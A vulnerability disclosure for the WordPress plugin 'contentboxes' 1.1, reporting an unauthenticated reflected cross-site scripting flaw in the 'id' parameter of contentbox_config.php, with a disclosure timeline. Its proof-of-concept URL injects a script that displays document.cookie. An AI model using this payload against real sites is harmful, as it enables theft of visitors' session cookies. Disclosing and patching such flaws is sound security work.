wp-plugin : contentboxes

Plugin Details
Plugin Name: wp-plugin : contentboxes
Effected Version : 1.1 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : anantshri
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
 http://localhost/wp-content/plugins/contentboxes/contentbox_config.php?id=id'</script><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : id

 

Type of XSS : Reflected


Disclosure Timeline
Vendor Contacted : 2014-01-04
Plugin Status : Updated on
Public Disclosure : July 7, 2014
CVE Number :
Plugin Description :
[| With this plugin you can attach each post or page other posts. When you activate the plugin a new category is added called 'Contentbox', if you put a post in this category you can attach this post to any other page or post. The category is hidden in the loop / category list / next and previous posts so. The plugin is development for people who use WordPress as a CMS like myself. ]